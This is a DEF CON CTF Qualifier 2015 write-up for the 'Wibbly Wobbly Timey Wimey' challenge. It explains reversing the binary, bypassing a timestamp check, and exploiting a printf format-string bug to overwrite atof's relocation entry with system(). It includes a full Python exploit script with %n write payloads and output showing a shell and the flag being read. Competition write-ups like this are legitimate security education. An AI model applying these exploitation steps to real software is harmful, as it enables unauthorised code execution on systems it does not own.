DEF CON CTF Qualifier 2015 Wibbly Wobbly Timey Wimey Writeup
This is my second time participating in DC qualifier, and it is really a fun experience.
This challenge (download) involves multiple steps. When we connect to the server, we need to play a game first.
1234567891011121314151617181920212223242526
alpha@alpha-th:~$ nc wwtw_c3722e23150e1d5abbc1c248d99d718d.quals.shallweplayaga.me 2606
You(^V<>) must find your way to the TARDIS(T) by avoiding the angels(A).
Go through the exits(E) to get to the next room and continue your search.
But, most importantly, don't blink!
012345678901234567890
00 E
01
02 A
03 A
04 A
05
06 A
07 A
08
09 V A
10 A
11 A
12 A
13
14 A A
15
16
17
18
19
Your move (w,a,s,d,q):
If we win the game five times, then we are asked to input a “TARDIS KEY”. If the input is correct, then “Welcome to the TARDIS!” is displayed and we can choose from two options.
123456
TARDIS KEY:
Welcome to the TARDIS!
Your options are:
1. Turn on the console
2. Leave the TARDIS
Selection:
This is where we start looking for vulnerabilities.
In IDA, if we look at the routine sub_E3E, we can see that there is another option (“Dematerialize”) besides the two above.
routine sub_E3E
12345678910
intsub_E3E(){puts("Your options are: ");puts("1. Turn on the console");puts("2. Leave the TARDIS");if(unk_50AC)puts("3. Dematerialize");printf("Selection: ");returnfflush(stdout);}
However, in order to display the option, we need to make the variable “unk_50AC” true. This happens in the routine sub_1205:
snippet from routine sub_1205
123456789101112131415
if(LOBYTE(dword_50B0[0])==49)// 1{LOBYTE(v4)=sub_E08();if(v4){printf("The TARDIS console is online!");unk_50AC=1;fflush(stdout);}else{printf("Access denied except between %s and %s\n",&v7,&v8);fflush(stdout);}}
When we select the first option (“Turn on the console”), routine sub_E08 gets called and a comparison is made based on two timestamps:
If the variable dword_50A4 does not fit between the two values, then “Access denied except between May 17 2015 23:59:40 GMT and May 18 2015 00:00:00 GMT” is displayed. If it fits, then we can choose the third option (“Dematerialize”), and routine sub_1027 gets called:
intsub_1027(){...while(1){...v0=atof(&s);v3=atof(nptr+1);printf("%f, %f\n",v0,v3);if(51.492137!=v0||-0.192878!=v3)break;printf("Coordinate ");printf(&s);...}printf("You safely travel to coordinates %s\n",&s);...returnresult;}
Does “printf(&s)” look suspicious? It could be an uncontrolled format string! Since the buffer itself can be accessed (with enough “%x”, for example), we can pretty much do arbitrary read and write in the memory. But what should we write and where should we write to? It turns outs we do not need to look far: since “&s” is passed as a parameter to atof() function, we can replace the address of atof() with the address of system() in relocation table. Then we can execute any commands we want (e.g. sh). The address of atof() can be accessed from the function’s relocation table entry at run time, so we can exploit the format string vulnerabiliry to overwrite it.
Now there is only one thing left: how do we defeat the timestamp check in the routine sub_E08 above? If we look at the routine sub_BCB, the variable dword_50A4 (which is used for timestamp comparison) can be controlled if we can controlled dword_50B0.
Luckily, in routine sub_1205, we can read up to 9 bytes into the location pointed to by dword_50B0, which gives us the control of one byte in dword_50B0[2]:
snippet from routine sub_1205
12
if(read(0,dword_50B0,9u)<=0)break;
In other words, when we are asked to selected an option, if our input is something like “1aaaaaaa\x00”(9 bytes in total, and the last byte is 0x00), then we will be able to read four bytes from standard input into the location pointed to by “buf”, and those four bytes will be treated as an integer and assigned to dword_50A4, which is used for the timestamp check.
In summary, in order to get the flag, we need to perform the following steps:
win the game five times
input correct “TARDIS KEY”
input “1aaaaaaa\x00”(or something similar) to set the array dword_50B0
input four bytes to set the variable dword_50A4 so that it is something between 1431907180 and 1431907199 when treated as an integer
select the option “Dematerialize”, and use the format string vulnerability to reveal the address of system()
overwrite the address of atof() with the address of system() in relocation table by using the format string vulnerability
when asked to input coordinates again, we can open a shell by inputing “,sh”
For playing the game, I use a very simple algorithm: going vertically first to get into the same row as the target, then going horizontally (or going horizontally first then going vertically). This does not succeed every time, but it has a good chance to go through five times in a row (We can play multiple times, right?). The “TARDIS KEY” comes directly from the binary, so it is fixed every time. We can get this byte by byte from gdb, and it is: UeSlhCAGEp.
importzioimporttimeimportstructdefparse(io):''' return a 2d array '''io.read_until("90\n")m=[]forlineinrange(20):line=io.read_until("\n")m.append(line[3:-1])returnmdefget_path(m,me,ET,p1,p2):''' compare two possible paths '''p1_head=Trueforiinrange(min(me[1],ET[1]),max(me[1],ET[1])):ifm[me[0]][i]=='A':p1_head=Falseforiinrange(min(me[0],ET[0]),max(me[0],ET[0])):ifm[i][ET[1]]=='A':p1_head=Falseifp1_head:returnp1+p2else:returnp2+p1defmove(m):''' return a string for moving '''ret=''me=(0,0)ET=(0,0)fori,rowinenumerate(m):forj,cinenumerate(row):ifc==">"orc=="<"orc=="^"orc=='V':me=(i,j)elifc=='E'orc=='T':ET=(i,j)#print ET,meshifty=abs(ET[0]-me[0])shiftx=abs(ET[1]-me[1])ifET[0]>=me[0]andET[1]>=me[1]:p=get_path(m,me,ET,'d'*shiftx,'s'*shifty)elifET[0]>=me[0]andET[1]<me[1]:p=get_path(m,me,ET,'a'*shiftx,'s'*shifty)elifET[0]<=me[0]andET[1]>=me[1]:p=get_path(m,me,ET,'d'*shiftx,'w'*shifty)else:p=get_path(m,me,ET,'a'*shiftx,'w'*shifty)returnpT=("wwtw_c3722e23150e1d5abbc1c248d99d718d.quals.shallweplayaga.me",2606)#T = ("127.0.0.1",4444)io=zio.zio(T)io.read_until("blink!")#play the gameforiinrange(5):m=parse(io)moves=move(m)forminmoves:io.write(m+'\n')io.read_until(':')ifi<4:io.read_until("...")#TARDIS KEYkey="UeSlhCAGEp"io.read_until("KEY")io.write(key+'\n')#timestamp checkio.read_until("Selection:")io.write("1aaaaaaa\x00\n")time.sleep(2)io.write("v+YU\n")#defeat the timestamp checktime.sleep(1)io.write("1\n")io.write("1aaaaaaa\x07\n")#set the fd back so we don't need to write something every 2sio.read_until('Dematerialize')io.read_until('Dematerialize')io.read_until('Dematerialize')##basetime.sleep(1)io.write("3\n")time.sleep(1)io.read_until("Coordinates:")payload="51.492137,-0.192878zz"+"%08x."*10+"\n"io.write(payload)ret=io.read_until('again')addr1=ret.split(".")[11]addr2=ret.split(".")[12]offset=4032base=int(addr1,16)+offsetio.read_until("Coordinates:")time.sleep(2)##read addr, since we don't have system() in relocation table, we start from read()payload="51.492137,-0.192878z"payload+=struct.pack("<I",base+0x5010)#read reloc tablepayload+=("%08x."*19+"%s"+"\n")io.write(payload)time.sleep(2)ret=io.read_until("is")ret=ret.split(".")[-1].strip()ret=ret.split()[0][:4]#print len(ret),"read",hex(struct.unpack("<I",ret)[0])addr_read=struct.unpack("<I",ret)[0]##system addr, the offset is based on the corresponding version of libcaddr_system=addr_read-633408##write address of system to atof's relorelo_atof=base+0x5080str_system=struct.pack("<I",addr_system)tmp=str_system[:2][::-1].encode("hex")system1=int(str_system[:2][::-1].encode("hex"),16)system2=int(str_system[2:][::-1].encode("hex"),16)io.read_until("Coordinates:")payload="51.492137,-0.192878z"payload+=struct.pack("<I",relo_atof)payload+=struct.pack("<I",relo_atof+2)#can be any random 4 bytespayload+=struct.pack("<I",relo_atof+2)payload+=("%08x."*18+"%"+str(system1+186-372-8)+"x"+"%n"+"%"+str(system2-system1)+"x%n"+"\n")io.write(payload)io.interact()#after this, calling atof() becomes calling system(). we can manually input the command
123456789101112
alpha@alpha-th:~$ python wwtw.py
...
...
f774b082 is occupied by another TARDIS. Materializing there would rip a hole in time and space. Choose again.
Coordinates: ,sh
sh: 1: ,sh: not found
Unauthorized occupant detected...goodbye
id
uid=1001(wwtw) gid=1001(wwtw) groups=1001(wwtw)
cat /home/wwtw/flag
The flag is: Would you like a Jelly Baby? !@()*ASF)9UW$askjal